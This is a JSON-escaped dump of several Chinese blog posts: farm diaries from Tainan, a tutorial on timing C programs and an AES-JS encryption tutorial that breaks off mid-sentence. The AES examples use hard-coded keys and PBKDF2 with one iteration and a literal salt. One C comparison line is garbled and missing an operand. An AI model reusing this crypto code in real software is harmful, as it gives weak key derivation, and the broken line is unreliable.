c(\u0026#34;name\u0026#34;), variable.name = \u0026#34;group\u0026#34;) p \u0026lt;- ggplot(df.reshape, aes(name, value, fill = group)) + geom_bar(position = \u0026#34;dodge\u0026#34;, stat = \u0026#34;identity\u0026#34;) + scale_fill_brewer(palette=\u0026#34;YlOrBr\u0026#34;) + guides(fill=guide_legend(title = NULL)) + xlab(\u0026#34;Image\u0026#34;) + ylab(val.name) + coord_flip() print(p) } # 比較檔案大小 plot.barplot(\u0026#34;size.csv\u0026#34;, \u0026#34;Size\u0026#34;) # 比較 quality plot.barplot(\u0026#34;quality.csv\u0026#34;, \u0026#34;Quality\u0026#34;) 測試結果的資料則放在 size.csv 與 quality.csv。\n","permalink":"https://blog.gtwang.org/web-development/guetzli-jpeg-image-encoder/","summary":"\u003cp\u003e本篇介紹如何使用 Guetzli 壓縮大量圖片，並比較 Guetzli 與 TinyPNG 的壓縮結果。\u003c/p\u003e\n\u003cp\u003eGuetzli 是一套由 Google 所開發的 JPEG 圖片壓縮演算法，與現有的 libjpeg 相比，可將高品質的圖片大小減少 20% 至 30% 左右，並且完全相容於現有的瀏覽器與各種應用程式，因此若應用於網頁的圖片壓縮上，可以大幅降低資料傳輸量，增進網頁載入速度。\u003c/p\u003e","title":"Guetzli 開放原始碼 JPEG 圖片壓縮編碼器"},{"content":"這裡紀錄我們家的農田使用中耕機翻土，以及使用播種機播種芝麻的過程。\n這塊農田在上週抽地下水灌溉之後，又經過一次的翻土，現在要準備再把土翻成一壟一壟的，然後再種植黑芝麻，這些黑芝麻是要用來榨黑麻油用的。\n今天翻土所使用的農具是一台中耕管理機，使用前先調整一下。\n阿玄很好奇在旁邊看。\n旁邊還有一台播種機，這個也是今天的重點。\n這是使用中耕機翻土的影片。\n這是農夫推著中耕機犁田的樣子，中耕機兩側的橫桿是用來量距離用的。\n在用中耕機犁田時，一邊犁田一邊在下一條溝渠的位置畫出一條線，這樣順著畫出的線條來犁，每條溝渠的間距才會相同。\n每條溝渠之間距離要事先量好，不是隨便取的，這個距離跟後續的播種機也會有關係。\n中耕機犁過之後，頭尾兩端需要再用人工稍微修補一下。\n這是犁好之後的田。\n田梨好之後，就把中耕機放上小貨車。\n接下來要使用這台播種機進行芝麻的播種。\n這一包就是芝麻的種子。\n芝麻的種子其實就是芝麻。\n將芝麻種子倒入播種機裡。\n這是播種機兩側裝種子的凹槽。\n接著就是推著播種機進行播種，以下是播種的影片。\n推播種機播種時，就是沿著剛剛挖好的溝槽走。\n播種機走過的地方就會將種子埋入兩側的土壤中，每一壟來回剛好播上兩道種子，所以在用中耕機挖溝槽時，都要事先計算好溝槽的間距，否則播種時就會有問題。\n這一個是半人工的小型播種機。\n農田接近兩端的地方，就要使用半人工的方式播種。\n這是使用半人工方式播種的影片。\n這是整片芝麻田播種完成的樣子。\n翻土與播種的過程，阿玄也在旁邊看。\n","permalink":"https://blog.gtwang.org/agriculture/sesame-sowing-sigang-tainan-20170319/","summary":"\u003cp\u003e這裡紀錄我們家的農田使用中耕機翻土，以及使用播種機播種芝麻的過程。\u003c/p\u003e\n\u003cp\u003e這塊農田在上週\u003ca href=\"/agriculture/extract-groundwater-and-irrigate-farmland-sigang-tainan-20170311/\"\u003e抽地下水灌溉之後\u003c/a\u003e，又經過一次的翻土，現在要準備再把土翻成一壟一壟的，然後再種植黑芝麻，這些黑芝麻是要用來榨黑麻油用的。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"農田\" loading=\"lazy\" src=\"/agriculture/sesame-sowing-sigang-tainan-20170319/sesame-sowing-sigang-tainan-20170319-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e今天翻土所使用的農具是一台中耕管理機，使用前先調整一下。\u003c/p\u003e","title":"[台南西港] 農田翻土、黑芝麻播種紀錄，中耕機與播種機"},{"content":"這裡整理了 C/C++ 中各種測量時間的函數與用法，並提供完整的範例程式碼，讓程式開發者方便測量程式執行速度。\n這裡我蒐集了一些在 C/C++ 中常見的程式執行速度測量方式，因為時間的量測方式與細節非常多，這裡只是簡單寫一些常用的方式與範例。\n程式中的時間 在測量程式執行所花費的時間前，必須先認識一下時間的測量方式，不同的測量方法會得到不同的結果，其意義也不同。\nWall-Clock Time Wall-clock time 顧名思義就是真實世界的時間，相當於以牆上的時鐘為依據所計算出來的時間，這個時間會牽涉到校時、時區以及夏令時間之類的問題，詳細說明請參考維基百科的 Wall-clock time 說明。\n由於 wall-clock time 並不是單調遞增（monotonic）的數值，所以它不是一個穩定的時間依據，只能做為參考用，若需要非常精準的量測程式效能，不建議使用這種時間。\nCPU Time CPU time 是指程式真正使用 CPU 在執行的時間，而這個時間又可以細分為兩種：\nuser time：程式本身執行的時間（user space）。 system time：作業系統層級執行的時間（kernel space）。 詳細說明請參考維基百科的 CPU time 與 User space 說明。\n對於多執行緒（multithreading）的程式，其 CPU time 就是每條執行緒的執行時間總和，所以平行化的程式其 CPU time 可能會比 wall-clock time 還要長。\nC 語言範例 這是一個利用蒙地卡羅演算法計算 pi 的範例：\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } int main() { double result = pi(1e8); printf(\u0026#34;PI = %f\\n\u0026#34;, result); } 使用 gcc 編譯：\ngcc -o pi pi.c 若使用比較舊的 gcc 編譯器，要加上 -std=c99 參數：\ngcc -std=c99 -o pi pi.c 以下我們將以這個程式為例，介紹測量程式執行時間的方法。\nLinux time 指令 在 Linux 中有一個 time 指令可以直接測試程式的執行時間（CPU time）：\ntime ./pi PI = 3.142172 real 0m2.210s user 0m2.209s sys 0m0.001s time 指令的輸出分為 user time、system time 以及實際上所花費的時間。\n如果在系統上同時有其他的程式也在使用 CPU 時，結果會有些差異。我先使用 stress 讓 CPU 滿載：\nstress --cpu 40 接著再測試一次：\ntime ./pi PI = 3.142172 real 0m3.706s user 0m3.600s sys 0m0.000s time 函數 C 標準函式庫的 time 函數可以傳回系統上的 wall-clock time，精準度為 1 秒，以下是範例。\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026lt;time.h\u0026gt; // time 函數所需之標頭檔 double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } int main() { // 儲存時間用的變數 time_t start, end; // 開始計算時間 start = time(NULL); // 主要計算 double result = pi(1e8); // 結束計算時間 end = time(NULL); // 計算實際花費時間 double diff = difftime(end, start); printf(\u0026#34;PI = %f\\n\u0026#34;, result); printf(\u0026#34;Time = %f\\n\u0026#34;, diff); } 用 gcc 編譯：\ngcc -o pi pi.c 執行：\n./pi PI = 3.142172 Time = 2.000000 因為 time 函數精準度只有 1 秒，所以這個測量方式不太適合太小的程式。\n在 CPU 滿載（使用 stress）的狀況下，測試的結果：\n./pi PI = 3.142172 Time = 4.000000 clock 函數 在標準的 C 函式庫中，有一個 clock 函數可以傳回程式的 CPU 時脈數（clock ticks），可計算 CPU time，使用範例如下：\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026lt;time.h\u0026gt; // clock 函數所需之標頭檔 double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } int main() { // 儲存時間用的變數 clock_t start, end; double cpu_time_used; // 計算開始時間 start = clock(); // 主要計算 double result = pi(1e8); // 計算結束時間 end = clock(); // 計算實際花費時間 cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC; printf(\u0026#34;PI = %f\\n\u0026#34;, result); printf(\u0026#34;Time = %f\\n\u0026#34;, cpu_time_used); } clock 函式所傳回的數值是 CPU 的時脈數，並不是真正的時間，而 CLOCKS_PER_SEC 這個巨集（macro）是每秒 CPU 的時脈數，相除之後就是程式所使用的 CPU time，單位為秒，這個時間包含 user time 與 system time。\n用 gcc 編譯：\ngcc -o pi pi.c 執行：\n./pi PI = 3.142172 Time = 2.250000 在 CPU 滿載（使用 stress）的狀況下，測試的結果：\n./pi PI = 3.142172 Time = 3.670000 clock_gettime 函數 clock_gettime 函數可以取得 wall-clock time 或程式的 CPU time，其所傳回的時間是用 timespec 這個結構（struct）所儲存的：\nstruct timespec { time_t tv_sec; /* seconds */ long tv_nsec; /* nanoseconds */ }; 使用 timespec 來儲存時間的話，其精準度最高可達十億分之一秒（nanosecond），若要查詢實際的精確度，可以使用 clock_getres 函數：\n#include \u0026lt;time.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; int main() { struct timespec t; clock_getres(CLOCK_MONOTONIC, \u0026amp;t); printf(\u0026#34;Resolution: %ld nanosecond\\n\u0026#34;, t.tv_nsec); return 0; } gcc -o getres getres.c ./getres Resolution: 1 nanosecond clock_getres 的第一個參數是指定時間的類型，常見的類型有：\nCLOCK_REALTIME：系統的實際時間（wall-clock time）。 CLOCK_REALTIME_COARSE：系統的實際時間（wall-clock time），取得速度快，但精確度校低。 CLOCK_MONOTONIC：單調遞增時間（monotonic time），這個時間會非常穩定的持續遞增，不會因為系統時間改變而有變動，適合用於測量程式執行效能。 CLOCK_MONOTONIC_COARSE：與 CLOCK_MONOTONIC 類似，取得速度快，但精確度校低。 CLOCK_MONOTONIC_RAW：與 CLOCK_MONOTONIC 類似，但是它是從硬體時鐘所讀取出來的值。 CLOCK_PROCESS_CPUTIME_ID：程式行程的 CPU time，這個時間包含所有的執行序所花費的時間。 CLOCK_THREAD_CPUTIME_ID：程式單一執行序所耗費的時間。 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026lt;time.h\u0026gt; // clock_gettime 函數所需之標頭檔 double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } struct timespec diff(struct timespec start, struct timespec end) { struct timespec temp; if ((end.tv_nsec-start.tv_nsec)\u0026lt;) { temp.tv_sec = end.tv_sec-start.tv_sec-1; temp.tv_nsec = 1000000000+end.tv_nsec-start.tv_nsec; } else { temp.tv_sec = end.tv_sec-start.tv_sec; temp.tv_nsec = end.tv_nsec-start.tv_nsec; } return temp; } int main() { // 儲存時間用的變數 struct timespec start, end; double time_used; // 計算開始時間 clock_gettime(CLOCK_MONOTONIC, \u0026amp;start); // 主要計算 double result = pi(1e8); // 計算結束時間 clock_gettime(CLOCK_MONOTONIC, \u0026amp;end); // 計算實際花費時間 struct timespec temp = diff(start, end); time_used = temp.tv_sec + (double) temp.tv_nsec / 1000000000.0; printf(\u0026#34;PI = %f\\n\u0026#34;, result); printf(\u0026#34;Time = %f\\n\u0026#34;, time_used); } 用 gcc 編譯：\ngcc -o pi pi.c 執行：\n./pi PI = 3.142172 Time = 2.145160 在 CPU 滿載（使用 stress）的狀況下，測試的結果：\n./pi PI = 3.142172 Time = 3.773047 getrusage 函數 getrusage 函數可以取得程式所使用的各種系統資源統計數據，包含 CPU、記憶體、I/O 等，所以我們也可以利用這個函數來測量程式的 CPU time：\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026lt;time.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;sys/time.h\u0026gt; #include \u0026lt;sys/resource.h\u0026gt; double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } int main(int argc, char *argv[]) { struct rusage ru; struct timeval utime; struct timeval stime; // 主要計算 double result = pi(1e8); // 取得程式的 user time 與 system time getrusage(RUSAGE_SELF, \u0026amp;ru); printf(\u0026#34;PI = %f\\n\u0026#34;, result); utime = ru.ru_utime; stime = ru.ru_stime; double utime_used = utime.tv_sec + (double) utime.tv_usec / 1000000.0; double stime_used = stime.tv_sec + (double) stime.tv_usec / 1000000.0; printf(\u0026#34;User Time = %f\\n\u0026#34;, utime_used); printf(\u0026#34;System Time = %f\\n\u0026#34;, stime_used); return 0; } getrusage 函數可以分別取得程式的 user CPU time 與 system CPU time，有類似 time 指令的效果。\n用 gcc 編譯：\ngcc -o pi pi.c 執行：\n./pi PI = 3.142172 User Time = 2.258956 System Time = 0.000999 在 CPU 滿載（使用 stress）的狀況下，測試的結果：\n./pi PI = 3.142172 User Time = 3.670714 System Time = 0.001000 gettimeofday 函數 gettimeofday 函數可以取得很精確的 wall-clock time。\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;math.h\u0026gt; #include \u0026lt;sys/time.h\u0026gt; double pi(int n) { srand(5); int count = 0; double x, y; for (int i = 0; i \u0026lt; n; ++i) { x = (double) rand() / RAND_MAX; y = (double) rand() / RAND_MAX; if (x * x + y * y \u0026lt;= 1) ++count; } return (double) count / n * 4; } int main(int argc, char *argv[]) { struct timeval start, end, diff; // 開始計算時間 gettimeofday(\u0026amp;start, NULL); // 主要計算 double result = pi(1e8); // 結束計算時間 gettimeofday(\u0026amp;end, NULL); // 計算實際花費時間 timersub(\u0026amp;end, \u0026amp;start, \u0026amp;diff); double time_used = diff.tv_sec + (double) diff.tv_usec / 1000000.0; printf(\u0026#34;PI = %f\\n\u0026#34;, result); printf(\u0026#34;Time = %f\\n\u0026#34;, time_used); return 0; } 用 gcc 編譯：\ngcc -o pi pi.c 執行：\n./pi PI = 3.142172 Time = 2.258592 在 CPU 滿載（使用 stress）的狀況下，測試的結果：\n./pi PI = 3.142172 Time = 3.760840 後記 我原本想要找一個比較穩定的測試方式，但是透過 stress 的測試結果來看，幾乎每一種方式都會受到系統負載的影響，若未來有看到比較好的方式，再補上來。\n參考資料 StackOverflow Guy Rutenberg 程式扎記 Edison.X. Blog ","permalink":"https://blog.gtwang.org/programming/measure-the-execution-time-in-c-language/","summary":"\u003cp\u003e這裡整理了 C/C++ 中各種測量時間的函數與用法，並提供完整的範例程式碼，讓程式開發者方便測量程式執行速度。\u003c/p\u003e\n\u003cp\u003e這裡我蒐集了一些在 C/C++ 中常見的程式執行速度測量方式，因為時間的量測方式與細節非常多，這裡只是簡單寫一些常用的方式與範例。\u003c/p\u003e","title":"C/C++ 語言測量時間函數，評估程式執行效能方法整理"},{"content":"本篇記錄今天在路旁看的桃太郎小番茄，小小的棚架，結了好多番茄。\n因為剛採收完，成熟的番茄都被摘下來了，所以大部份剩下的都是綠色未成熟的。\n這是剛摘下來的幾顆桃太郎小番茄。\n蕃茄主人採了一大袋，很熱情請我們吃蕃茄，我就拿了一些來拍照。\n小小的棚架就結了非常多的番茄，有些小番茄掉在田裡。\n旁邊田裡面種植的是專門作為動物飼料的玉米。\n以下是一些阿玄的照片。\n阿玄趁我在拍照的時候，自己也拿著手機到處拍，還會自拍。\n","permalink":"https://blog.gtwang.org/agriculture/small-tomatos-sigang-tainan-20170312/","summary":"\u003cp\u003e本篇記錄今天在路旁看的桃太郎小番茄，小小的棚架，結了好多番茄。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"田邊的番茄棚架\" loading=\"lazy\" src=\"/agriculture/small-tomatos-sigang-tainan-20170312/small-tomatos-sigang-tainan-20170312-18.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e因為剛採收完，成熟的番茄都被摘下來了，所以大部份剩下的都是綠色未成熟的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"桃太郎小番茄\" loading=\"lazy\" src=\"/agriculture/small-tomatos-sigang-tainan-20170312/small-tomatos-sigang-tainan-20170312-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"桃太郎小番茄\" loading=\"lazy\" src=\"/agriculture/small-tomatos-sigang-tainan-20170312/small-tomatos-sigang-tainan-20170312-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"田邊的番茄棚架\" loading=\"lazy\" src=\"/agriculture/small-tomatos-sigang-tainan-20170312/small-tomatos-sigang-tainan-20170312-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"田邊的番茄棚架\" loading=\"lazy\" src=\"/agriculture/small-tomatos-sigang-tainan-20170312/small-tomatos-sigang-tainan-20170312-04.jpg\"\u003e\u003c/p\u003e","title":"[台南西港] 田邊的桃太郎小番茄"},{"content":"本篇是農民使用耕耘機翻土除草的紀錄。\n禮拜天回西港去看自己的農田抽地下水灌溉時，剛好遇到旁邊的田裡面耕耘機正在翻土，所以就順便記錄一下。\n因為平地的農田非常平坦，像這樣大片的農田若有雜草，都是靠著耕耘機翻土來除草。\n每當農民開著耕耘機在田裡翻土時，田裡的蟲子被翻出來，就會引來非常多的白鷺絲，以及其他的鳥類，以下是耕耘機翻土的實況錄影。\n耕耘機在翻土時，那些白鷺絲、麻雀等鳥類都會聚集在旁邊，很有意思。\n耕耘機翻完土開走之後，田裡面的白鷺鷥還會留在這裡找蟲吃。\n","permalink":"https://blog.gtwang.org/agriculture/tillage-machine-weeding-sigang-tainan-20170312/","summary":"\u003cp\u003e本篇是農民使用耕耘機翻土除草的紀錄。\u003c/p\u003e\n\u003cp\u003e禮拜天回西港去看自己的\u003ca href=\"/agriculture/extract-groundwater-and-irrigate-farmland-sigang-tainan-20170311/\"\u003e農田抽地下水灌溉\u003c/a\u003e時，剛好遇到旁邊的田裡面耕耘機正在翻土，所以就順便記錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"耕耘機翻土除草\" loading=\"lazy\" src=\"/agriculture/tillage-machine-weeding-sigang-tainan-20170312/tillage-machine-weeding-sigang-tainan-20170312-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e因為平地的農田非常平坦，像這樣大片的農田若有雜草，都是靠著耕耘機翻土來除草。\u003c/p\u003e","title":"[台南西港] 耕耘機翻土除草，白鷺絲滿天飛"},{"content":"這裡介紹如何使用 AES-JS 這個 JavaScript 的 AES 對稱式加密工具，讓有機密性的重要資料加上密碼保護。\nAES 進階加密標準（Advanced Encryption Standard）是一種對稱式的加密演算法，此標準替代了原先的 DES 加密演算法，目前被各界廣泛使用。\nAES 加密演算法的區塊長度固定為 128 位元，金鑰長度則可以是 128、192 或 256 位元，在設計結構及密鑰的長度上俱已到達保護機密資訊的標準，也是美國政府官方認可的加密演算法之一。\n安裝 AES-JS 函式庫 在 JavaScript 中若要使用 AES 演算法來加密資料，可以使用 AES-JS 這個開放原始碼的 JavaScript 函式庫，它同時可以在瀏覽器（網頁）以及 Node.js 環境下使用。\n名稱：AES-JS 函式庫\n網址：GitHub\n在網頁中使用的話，要引入 AES-JS 函式庫的 JavaScript 檔案。\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;https://cdn.rawgit.com/ricmoo/aes-js/e27b99df/index.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 若是在 Node.js 環境中，則可使用 npm 安裝 aes-js 這個套件：\nnpm install aes-js 然後在 Node.js 指令稿中引入：\nvar aesjs = require(\u0026#39;aes-js\u0026#39;); AES-JS 在使用上來說，不管是在瀏覽器中還是 Node.js 環境下，語法都相同，以下是用 AES-JS 加密與解密資料的步驟與範例。\n定義金鑰 在使用 AES 之前，要先定義加密與解密用的金鑰，也就是俗稱的密碼。AES 所使用的金鑰長度有三種，分別是 128 位元、192 位元與 256 位元：\n// 128 位元、192 位元與 256 位元的金鑰 var key_128 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]; var key_192 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]; var key_256 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31]; 每個數字代表一個位元組，所以它的值必須在 0 到 255 之間，使用者可以自行選擇要使用哪一種長度的金鑰，當然理論上越長的金鑰安全性越高。\n我們也可以使用 Uint8Array 來儲存金鑰：\nvar key_128_array = new Uint8Array(key_128); var key_192_array = new Uint8Array(key_192); var key_258_array = new Uint8Array(key_256); 若在 Node.js 環境下，也可以使用 Buffer 來儲存金鑰：\nvar key_128_buffer = new Buffer(key_128); var key_192_buffer = new Buffer(key_192); var key_258_buffer = new Buffer(key_256); 初始向量 固定的明文資料在經過固定的加密演算法計算之後，會產生一模一樣的密文資料，這樣就有可能造成機密資料外洩。\n初始向量（initialization vector，簡稱 IV）的用途在於將明文資料加入隨機性，讓相同的明文資料再加密之後不會產生相同的密文資料。\n資料加密與解密 使用 AES 加密時，需要自己選擇要用哪一種 block cipher mode 進行加密，這部份牽涉到一些加密的理論，請參考維基百科的說明，中文的說明可參考寫程式是良心事業。\nblock cipher mode 有好多種可以選擇，比較建議使用的是 CTR（counter）與 CBC（cipher-block chaining）這兩種。\nECB（electronic codebook）沒有使用任何 IV，會讓同樣的資料 block 產生相同的加密輸出，所以比較不安全，應盡量避免使用。\nCTR（Counter） 推薦使用的方法之一，其使用一連串不重複的整序序列（即 counter）結合 nonce（即 IV），使用金鑰加密後，產生一連串不同的密文區塊（cipher block），在用這一連串不同的密文區塊對資料進行 XOR 運算，得到最後的加密結果，確保同樣的明文資料不會產生相同的密文資料。\n使用 CTR 加密的資料，不需要做補齊（padding）的動作，也就是說可以對任意長度的資料直接加密與解密。\n// 定義 128 位元的金鑰（16 bytes * 8 bits/byte = 128 bits） var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; // 將文字轉換為位元組 var text = \u0026#39;Text may be any length you wish, no padding is required.\u0026#39;; var textBytes = aesjs.utils.utf8.toBytes(text); // Counter 可省略，若省略則從 1 開始 var aesCtr = new aesjs.ModeOfOperation.ctr(key, new aesjs.Counter(5)); var encryptedBytes = aesCtr.encrypt(textBytes); // 加密過後的資料是二進位資料，若要輸出可轉為十六進位格式 var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); console.log(encryptedHex); // 將十六進位的資料轉回二進位 var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // 解密時要建立另一個 Counter 實體 var aesCtr = new aesjs.ModeOfOperation.ctr(key, new aesjs.Counter(5)); var decryptedBytes = aesCtr.decrypt(encryptedBytes); // 將二進位資料轉換回文字 var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); console.log(decryptedText); CBC（Cipher-Block Chaining） 推薦使用的方法之一，在第一個資料區塊加密時，指定一個 IV 然後結合金鑰進行加密，接著將加密後的密文作為第二個資料區塊加密時的 IV，以此類推，直到所有資料區塊都被加密完成。\n// 定義 128 位元的金鑰 var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; // 定義初始向量（16 bytes） var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36 ]; // 將文字轉換為位元組（資料長度必須為 16 bytes 的倍數） var text = \u0026#39;1234567890123456\u0026#39;; var textBytes = aesjs.utils.utf8.toBytes(text); // 建立 CBC 串鏈 var aesCbc = new aesjs.ModeOfOperation.cbc(key, iv); var encryptedBytes = aesCbc.encrypt(textBytes); // 加密過後的資料是二進位資料，若要輸出可轉為十六進位格式 var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); console.log(encryptedHex); // 將十六進位的資料轉回二進位 var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // 由於舊的 CBC 串鏈會儲存一些內部的狀態， // 所以解密時要重新建立一個新的 CBC 串鍊 var aesCbc = new aesjs.ModeOfOperation.cbc(key, iv); var decryptedBytes = aesCbc.decrypt(encryptedBytes); // 將二進位資料轉換回文字 var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); console.log(decryptedText); CFB（Cipher Feedback） CFB 與 CBC 很類似，概念上大同小異，都是拿前一個加密後的密文，來為下一次的加密加上隨機性。\n// 定義 128 位元的金鑰 var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; // 定義初始向量（16 bytes） var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36 ]; // 將文字轉換為位元組（長度必須是 segment 大小的倍數） var text = \u0026#39;TextMustBeAMultipleOfSegmentSize\u0026#39;; var textBytes = aesjs.utils.utf8.toBytes(text); // segment 大小，預設為 1 var segmentSize = 8; // CFB 加密 var aesCfb = new aesjs.ModeOfOperation.cfb(key, iv, segmentSize); var encryptedBytes = aesCfb.encrypt(textBytes); // 轉為十六進位格式 var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); console.log(encryptedHex); // 將十六進位的資料轉回二進位 var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // CFB 加密時會存有內部的狀態資訊，解密時要另外建立一個實體 var aesCfb = new aesjs.ModeOfOperation.cfb(key, iv, segmentSize); var decryptedBytes = aesCfb.decrypt(encryptedBytes); // 將二進位資料轉換回文字 var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); console.log(decryptedText); OFB（Output Feedback） OFB 與 CFB 的結構幾乎相同，不過他是拿 IV 與金鑰加密之後的輸出來當作下一次加密的 IV。\nOFB 可以對任意長度的資料直接加密與解密。\n// 定義 128 位元的金鑰 var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; // 定義初始向量（16 bytes） var iv = [ 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34,35, 36 ]; // 將文字轉換為位元組 var text = \u0026#39;Text may be any length you wish, no padding is required.\u0026#39;; var textBytes = aesjs.utils.utf8.toBytes(text); // OFB 加密 var aesOfb = new aesjs.ModeOfOperation.ofb(key, iv); var encryptedBytes = aesOfb.encrypt(textBytes); // 轉為十六進位格式 var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); console.log(encryptedHex); // 將十六進位的資料轉回二進位 var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // OFB 加密時會存有內部的狀態資訊，解密時要另外建立一個實體 var aesOfb = new aesjs.ModeOfOperation.ofb(key, iv); var decryptedBytes = aesOfb.decrypt(encryptedBytes); // 將二進位資料轉換回文字 var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); console.log(decryptedText); ECB（Electronic Codebook） ECB 就是很簡單的使用金鑰直接加密與解密，沒有使用 IV，所以同樣的明文會產生同樣的密文，不建議使用！\n// 定義 128 位元的金鑰 var key = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 ]; // 將文字轉換為位元組 var text = \u0026#39;TextMustBe16Byte\u0026#39;; var textBytes = aesjs.utils.utf8.toBytes(text); // ECB 加密 var aesEcb = new aesjs.ModeOfOperation.ecb(key); var encryptedBytes = aesEcb.encrypt(textBytes); // 轉為十六進位格式 var encryptedHex = aesjs.utils.hex.fromBytes(encryptedBytes); console.log(encryptedHex); // 將十六進位的資料轉回二進位 var encryptedBytes = aesjs.utils.hex.toBytes(encryptedHex); // ECB 並不會儲存任何內部資訊，解密時可以使用同一個實體 //var aesEcb = new aesjs.ModeOfOperation.ecb(key); var decryptedBytes = aesEcb.decrypt(encryptedBytes); // 將二進位資料轉換回文字 var decryptedText = aesjs.utils.utf8.fromBytes(decryptedBytes); console.log(decryptedText); 金鑰與密碼長度 在 AES 加密演算法中，金鑰的角色就是密碼，但是 AES 限制金鑰的長度必須為 128 位元（16 位元組）、192 位元（24 位元組）或 256 位元（32 位元組），這樣的限制在使用上並不方便，若想要讓 AES 接受任意長度的密碼，可以使用類似 PBKDF 或 SHA256 之類的轉換，把任意長度的文字密碼轉換為指定長度的 AES 金鑰：\nvar pbkdf2 = require(\u0026#39;pbkdf2\u0026#39;); var key_128 = pbkdf2.pbkdf2Sync(\u0026#39;password\u0026#39;, \u0026#39;salt\u0026#39;, 1, 128 / 8, \u0026#39;sha512\u0026#39;); var key_192 = pbkdf2.pbkdf2Sync(\u0026#39;password\u0026#39;, \u0026#39;salt\u0026#39;, 1, 192 / 8, \u0026#39;sha512\u0026#39;); var key_256 = 